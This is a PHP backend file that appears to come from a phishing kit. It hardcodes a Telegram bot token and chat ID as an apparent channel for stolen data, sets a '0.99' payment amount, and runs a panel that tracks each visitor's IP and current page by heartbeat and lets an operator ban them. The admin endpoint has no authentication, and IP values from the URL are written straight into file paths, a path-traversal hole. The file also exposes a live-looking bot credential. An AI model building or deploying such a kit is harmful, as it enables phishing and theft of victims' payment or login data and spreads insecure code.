<?php

$METRI_TOKEN = "https://api.telegram.org/bot8270438717:AAHIciZO0osCB8uiSnhgeFNuqUMCfjLnOOM";

$chat_id = "-5294583971";


$siteName = "";

$amount = '0.99';

/////////////////////////

$mobile = "on";

$desktop = "on";

/////////////////////////
// STATUS MONITORING SYSTEM
/////////////////////////

// Function to get real IP address
function getRealIP()
{
    $ipKeys = ['HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR'];

    foreach ($ipKeys as $key) {
        if (array_key_exists($key, $_SERVER) === true) {
            $ip = $_SERVER[$key];
            if (strpos($ip, ',') !== false) {
                $ip = explode(',', $ip)[0];
            }
            $ip = trim($ip);
            if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
                return $ip;
            }
        }
    }
    return $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
}

// Function to manage banned users
function manageBannedUser($ip, $action)
{
    $bannedDir = __DIR__ . '/banned/';

    // Create banned directory if it doesn't exist
    if (!is_dir($bannedDir)) {
        mkdir($bannedDir, 0755, true);
    }

    $bannedFile = $bannedDir . $ip . '.txt';

    if ($action === 'ban') {
        $banData = [
            'ip' => $ip,
            'banned_at' => date('Y-m-d H:i:s'),
            'banned_by' => 'admin'
        ];
        file_put_contents($bannedFile, json_encode($banData));
        return true;
    } elseif ($action === 'unban') {
        if (file_exists($bannedFile)) {
            unlink($bannedFile);
            return true;
        }
    }

    return false;
}

// Function to check if IP is banned


// Function to get ban info
function getBanInfo($ip)
{
    $bannedFile = __DIR__ . '/banned/' . $ip . '.txt';
    if (file_exists($bannedFile)) {
        $content = file_get_contents($bannedFile);
        return json_decode($content, true);
    }
    return null;
}

function isIPBanned($ip)
{
   $bannedFile = __DIR__ . '/banned/' . $ip . '.txt';
   return file_exists($bannedFile);
}
// Function to update status file for current IP - updates date every 5s
function updateStatus($ip, $currentPage = null, $status = 'active')
{
    $statusDir = __DIR__ . '/status/';

    // Create status directory if it doesn't exist
    if (!is_dir($statusDir)) {
        mkdir($statusDir, 0755, true);
    }

    $statusFile = $statusDir . $ip . '.txt';
    $timestamp = date('Y-m-d H:i:s');

    // Check if IP is banned
    $actualStatus = isIPBanned($ip) ? 'banned' : $status;

    // Prepare status data with timestamp and current page
    $statusData = [
        'timestamp' => $timestamp,
        'currentPage' => $currentPage ?: 'unknown',
        'lastUpdate' => time(),
        'status' => $actualStatus // Can be 'active' or 'banned'
    ];

    // Write status data as JSON to status file
    file_put_contents($statusFile, json_encode($statusData));

    return $timestamp;
}

// Handle AJAX admin ban/unban/check requests
if (isset($_GET['admin']) && isset($_GET['action'])) {
    header('Content-Type: application/json');
    header('Cache-Control: no-cache, no-store, must-revalidate');

    $action = $_GET['action']; // 'ban', 'unban', 'check', or 'list'

    if ($action === 'ban' || $action === 'unban') {
        if (!isset($_GET['ip'])) {
            echo json_encode(['error' => 'IP address required']);
            exit;
        }

        $targetIP = $_GET['ip'];
        $result = manageBannedUser($targetIP, $action);

        if ($result) {
            echo json_encode([
                'success' => true,
                'action' => $action,
                'ip' => $targetIP,
                'message' => ucfirst($action) . ' operation completed successfully'
            ]);
        } else {
            echo json_encode([
                'error' => 'Failed to ' . $action . ' user'
            ]);
        }
    } elseif ($action === 'check') {
        if (!isset($_GET['ip'])) {
            echo json_encode(['error' => 'IP address required']);
            exit;
        }

        $targetIP = $_GET['ip'];
        $isBanned = isIPBanned($targetIP);
        $banInfo = $isBanned ? getBanInfo($targetIP) : null;

        echo json_encode([
            'ip' => $targetIP,
            'banned' => $isBanned,
            'banInfo' => $banInfo
        ]);
    } elseif ($action === 'list') {
        $bannedDir = __DIR__ . '/banned/';
        $bannedUsers = [];

        if (is_dir($bannedDir)) {
            $files = glob($bannedDir . '*.txt');
            foreach ($files as $file) {
                $ip = basename($file, '.txt');
                $banInfo = getBanInfo($ip);
                if ($banInfo) {
                    $bannedUsers[] = $banInfo;
                }
            }
        }

        echo json_encode([
            'total' => count($bannedUsers),
            'bannedUsers' => $bannedUsers
        ]);
    } else {
        echo json_encode(['error' => 'Invalid action']);
    }
    exit;
}

// Handle AJAX heartbeat requests - called every 5 seconds from client
if (isset($_GET['heartbeat']) && $_GET['heartbeat'] === 'true') {
    header('Content-Type: application/json');
    header('Cache-Control: no-cache, no-store, must-revalidate');

    // Use provided IP or get real IP
    $userIP = isset($_GET['ip']) ? $_GET['ip'] : getRealIP();
    $currentPage = isset($_GET['page']) ? $_GET['page'] : null;

    $timestamp = updateStatus($userIP, $currentPage);
    $userBannedStatus = isIPBanned($userIP) ? 'banned' : 'active';

    echo json_encode([
        'status' => 'success',
        'timestamp' => $timestamp,
        'ip' => $userIP,
        'currentPage' => $currentPage,
        'userStatus' => $userBannedStatus
    ]);
    exit;
}

// Handle AJAX status check requests - check if IP is online
if (isset($_GET['checkstatus']) && isset($_GET['ip'])) {
    header('Content-Type: application/json');
    header('Cache-Control: no-cache, no-store, must-revalidate');

    $ip = $_GET['ip'];
    $statusFile = __DIR__ . '/status/' . $ip . '.txt';
    $status = "offline";
    $lastSeen = null;
    $timeDiff = null;
    $currentPage = null;
    $userStatus = 'active';

    if (file_exists($statusFile)) {
        $fileContent = trim(file_get_contents($statusFile));

        // Try to decode as JSON (new format) or fallback to plain timestamp (old format)
        $statusData = json_decode($fileContent, true);

        if ($statusData && isset($statusData['timestamp'])) {
            // New JSON format
            $lastUpdated = $statusData['timestamp'];
            $currentPage = $statusData['currentPage'] ?? 'unknown';
            $lastSeenTime = strtotime($lastUpdated);
        } else {
            // Old plain timestamp format (backward compatibility)
            $lastUpdated = $fileContent;
            $lastSeenTime = strtotime($lastUpdated);
            $currentPage = 'unknown';
        }

        $timeDiff = time() - $lastSeenTime;

        if ($timeDiff <= 7) {
            $status = "online";
        } else {
            $status = "offline";
        }
        $lastSeen = $lastUpdated;
    }

    // Always check real-time ban status regardless of cached data
    $userStatus = isIPBanned($ip) ? 'banned' : 'active';

    echo json_encode([
        'status' => $status,
        'ip' => $ip,
        'lastSeen' => $lastSeen,
        'timeDiff' => $timeDiff,
        'currentPage' => $currentPage,
        'userStatus' => $userStatus,
        'timestamp' => date('Y-m-d H:i:s')
    ]);
    exit;
}
